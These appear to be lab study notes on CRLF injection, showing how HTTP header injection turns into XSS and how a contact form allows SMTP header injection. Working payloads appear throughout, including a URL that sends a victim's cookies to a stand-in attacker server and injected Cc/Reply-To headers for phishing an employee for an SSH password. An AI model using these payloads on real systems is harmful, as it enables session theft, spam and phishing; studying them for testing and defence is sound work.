CRLF are those bytes: %0d%0a, or \r\n. \r moves cursor to starts of current line, \n moves cursor down 1 line.

HTTP, SMTP uses these to separate headers, body. In fact, everything uses these.

So if the webapp is vulnerable, we can inject \r\n to a user input, injecting a header, or a body, or both, effectively manipulating webapp’s response

Tool#

pipx install crlfsuite
crlfsuite -t http://127.0.0.1:8000/?target=asd

HTTP Header Injection - XSS#

Discovery#

The webapp has a function which will redirect to a page like this

GET /?target=/asd HTTP/1.1

And the webapp will response like this

HTTP/1.1 302 OK
Content-Type: text/plain
Location: /asd

We try injecting CRLF like this:

GET /?target=%0d%0aTest:%20test HTTP/1.1

And the webapp response with this, indicating that it is vulnerable to CRLF injection

HTTP/1.1 302 OK
Content-Type: text/plain
Location:
Test: test

Exploitation#

With 302 response, when the Location header contains a value, the browser will ignore any content in the body, so if we want to XSS, we need to specify an empty Location header

We inject HTML code into HTTP response body like this

GET /?target=%0d%0a%0d%0a<html><script>alert(1)</script></html> HTTP/1.1

The webapp response like this, however, the HTML code is invalid, since the Content-Type header’s value is text/plain

HTTP/1.1 302 OK
Content-Type: text/plain
Location:

<html><script>alert(1)</script></html>

So we supply another Content-Type header, effectively overriding the first one like this

GET /?target=%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a<html><script>alert(1)</script></html> HTTP/1.1

Now the webapp response with this, and our XSS code works

HTTP/1.1 302 OK
Content-Type: text/plain
Location:
Content-Type: text/html

<html>
	<script>
		alert(1)
	</script>
</html>

Now we just need to deliver this url to a victim, stealing their session.

http://vulnserver.com/?target=%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a<html><script>document.location="http%3A%2F%2FourServer.com%2F%3Fc="+document.cookie;</script></html>

NOTE: Again, if Location header is not empty, the browser will ignore the whole body, so no JS execution. However, if the webapp redirects users using headers like Refresh: 2; http://redirect.com/, we can specify any value we want.

SMTP injection#

Webapp sometimes has a function to send email to someone.

Discovery#

Consider this webapp, it has a contact page that we can send an email to an admin like this:

POST /contact.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

name=someone&phone=1234567890&message=hello

And that results in an email like this to admin. We can see someone is reflected on the From header. Normally, we cannot see this message.

From: someone
Message-ID: H222YUDFoavvLzpSLSqBpit4voRtoeVz33KcnxJrQm0=@mailhog.example
Received: from localhost by mailhog.example (MailHog)

          id H222YUDFoavvLzpSLSqBpit4voRtoeVz33KcnxJrQm0=@mailhog.example; Fri, 09 Jan 2026 18:30:02 +0000
Reply-To: webmaster@smtpinjection.htb
Return-Path: <www-data@ng-1796879-httpattacks2smtpheader-ezfsl-649fc96495-flvhf>
Subject: You received a message
To: admin@smtpinjection.htb

Here is the message:

hello

And if we try injecting a header using CRLF injection like this

POST /contact.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

name=someone%0d%0aTest:%20test&phone=1234567890&message=hello

It will result in this email:

From: someone
Test: test
Message-ID: H222YUDFoavvLzpSLSqBpit4voRtoeVz33KcnxJrQm0=@mailhog.example
Received: from localhost by mailhog.example (MailHog)

          id H222YUDFoavvLzpSLSqBpit4voRtoeVz33KcnxJrQm0=@mailhog.example; Fri, 09 Jan 2026 18:30:02 +0000
Reply-To: webmaster@smtpinjection.htb
Return-Path: <www-data@ng-1796879-httpattacks2smtpheader-ezfsl-649fc96495-flvhf>
Subject: You received a message
To: admin@smtpinjection.htb

Here is the message:

hello

Exploitation#

NOTE: Sometimes, we supply a name, and it’s reflected in the Subject header like this: You received a message from <name>!. In this case, ! is appended to our input. If we try to inject a Cc header containing our email address, the web application will append the exclamation mark to our email address and thus invalidate it. It is therefore recommended always to inject an additional dummy header after our actual payload to prevent such issues

Normally, we cannot see the email, obviously, so we can inject a To, Bcc, or Cc header, and if we receive the email, it means that we successfully injected

In this case, we are going with Cc. We also appended a dummy header DummyHeader: abc

POST /contact.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

name=someone%0d%0aCc:%20evil@attacker.htb%0d%0aDummyHeader:%20abc&phone=1234567890&message=hello

When we check our inbox, we see the email sent to us, indicate that the webapp is vulnerable to SMTP injection via CRLF injection.

From: someone
Cc: evil@attacker.htb
DummyHeader: abc@smtpinjection.htb
Message-ID: H222YUDFoavvLzpSLSqBpit4voRtoeVz33KcnxJrQm0=@mailhog.example
Received: from localhost by mailhog.example (MailHog)

          id H222YUDFoavvLzpSLSqBpit4voRtoeVz33KcnxJrQm0=@mailhog.example; Fri, 09 Jan 2026 18:30:02 +0000
Reply-To: webmaster@smtpinjection.htb
Return-Path: <www-data@ng-1796879-httpattacks2smtpheader-ezfsl-649fc96495-flvhf>
Subject: You received a message
To: admin@smtpinjection.htb

Here is the message:

hello

Now we can do DOS, send spam messages, or phishing email using the webapp’s legit email address. You might also consider using the Reply-To header so that if victim reply to the email, they will be replying to us

POST /contact.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

name=someone%0d%0aCc:%20internalEmployee@company.com%0d%0aReply-To:%20evil@attacker.htb%0d%0aDummyHeader:%20abc&phone=1234567890&message=Hi%2C%20can%20you%20please%20send%20me%20the%20production%20server%20ssh%20password%3F

url decoded payload for understanding

name=someone
Cc: internalEmployee@company.com
Reply-To: evil@attacker.htb
DummyHeader: abc
&phone=1234567890
&message=Hi, can you please send me the production server ssh password?